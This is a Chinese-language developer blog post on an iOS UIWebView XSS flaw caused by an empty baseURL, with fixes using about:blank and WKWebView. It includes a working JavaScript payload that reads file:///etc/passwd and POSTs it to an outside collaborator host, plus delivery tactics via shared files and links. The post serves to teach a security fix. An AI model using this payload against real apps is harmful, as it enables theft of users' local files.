iOS开发小Tip之之WebView XSS

栏目: IOS · 发布时间: 5年前

内容简介:本篇文章会介绍一些我曾经在某些ios应用中看到的潜在安全问题。我认为程序开发者(同时也包括漏洞挖掘人员)应该意识到这个错误的配置,同时能保证webview的安全性。下面阐述的问题相当简单,但是常常被(开发者)错误的配置。当你想要在代码中配置一个webview的时候, 你通常会使用如下的代码:

iOS开发小Tip之之WebView XSS

本篇文章会介绍一些我曾经在某些ios应用中看到的潜在安全问题。我认为程序开发者(同时也包括漏洞挖掘人员)应该意识到这个错误的配置,同时能保证webview的安全性。

下面阐述的问题相当简单,但是常常被(开发者)错误的配置。当你想要在代码中配置一个webview的时候, 你通常会使用如下的代码:

[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]

很多开发人员都武断的认为,只要将baseURL设置为@””(空字符串)就是安全的。因为只要baseURL是空,那么攻击者就不能让webview加载任意有问题的网站,但显然这个观点是错误的。

事实上,当baseURL参数被设置成空字符串之后,有可能令攻击者访问到app的文件系统(通常来说会使用file://前缀)以及任意其他的网站,这样攻击者就绕过了SOP保护。

可以使用很多种方式利用这个错误的配置,其中最常见的是窃取文件,也就是说攻击者可以在webview中打开任意他能访问到的文件。举个例子, 首先看看下面这个简单的xss payload:

<script> 
	var request = new XMLHttpRequest();
	request.open("GET","file:///etc/passwd",false);
	request.send();
	request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false);
	request.send(request.responseText);
</script>

这段payload会直接打开手机的”/etc/passwd”文件,并将文件内容发送到攻击者的服务器上(在这个例子中, 我将使用Burp Collaborator去验证收到的请求)。

我只是简单的将其保存为html文件,而后同步到我的icloud上, 最后使用app分享给被攻击者(通常来说是通过iOS11之后才出现的名为‘File’的app)。

随后,当用户打开文件的时候, 我自然而然就拿到了对方的passwd文件:

iOS开发小Tip之之WebView XSS

其他潜在的攻击方式包括以下几种:

  • 使用一个内置的app打开url或者浏览器: 攻击者可以发送一个有危害的url给受害者(比如通过聊天工具),只要受害者点击链接就会在应用的webview中打开链接。
  • URL schema滥用: 攻击者通过外部(比如:邮件或者iMessage)向受害者发送一个有害的URL。只要url schema在一个webview钟打开这个链接, 那么利用就有可能进行。

最简单的修复方案是让baseURL等于’about:blank’,而不是空字符串,例如:

[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]

现在, webview运行在iphone的沙盒之内。攻击者可以实现一个简单的弹框, 但是没有办法窃取任何的数据或者和有危害的服务器通信。这个解决方案在某种场合下可能会影响应用的正常功能, 比如开发者从沙盒内加载了一张图片。在这个前提下, 你最好设计一个应用可以访问的目录、文件或者服务器的白名单。

如果开发者应该使用最新的webview类(”WKWebView”),而不是旧的webview类(”UIWebView”),那么可以令上诉攻击的成功率大大下降,以此提高应用安全性。WKWebView在默认情况下不运距AJAX请问访问本地问津系统(因此这篇博客使用的攻击方式在这种情况下无法正常使用,除非开发者显示的激活了这个功能)。除此之外,它还允许开发者启用或者禁止javascript代码的执行。

我希望上述的内容可以帮助到各位。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

计算机算法导引

计算机算法导引

卢开澄 / 第2版 (2006年1月1日) / 2006-1 / 38.0

本书为《计算机算法导引——设计与分析》的第2版。书中内容分3部分:第1部分是基本算法,按方法论区分,包含优先策略与分治策略、动态规划、概率算法、并行算法、搜索法、数据结构等;第2部分是若干专题,包括排序算法、计算几何及计算数论、线性规划;第3部分是复杂性理论与智能型算法,其中,智能型算法主要介绍了遗传算法和模拟退火算法。本书可作为计算机系本科学生及研究生教材,数学系师生和科研T作者也可将其作为参考......一起来看看 《计算机算法导引》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具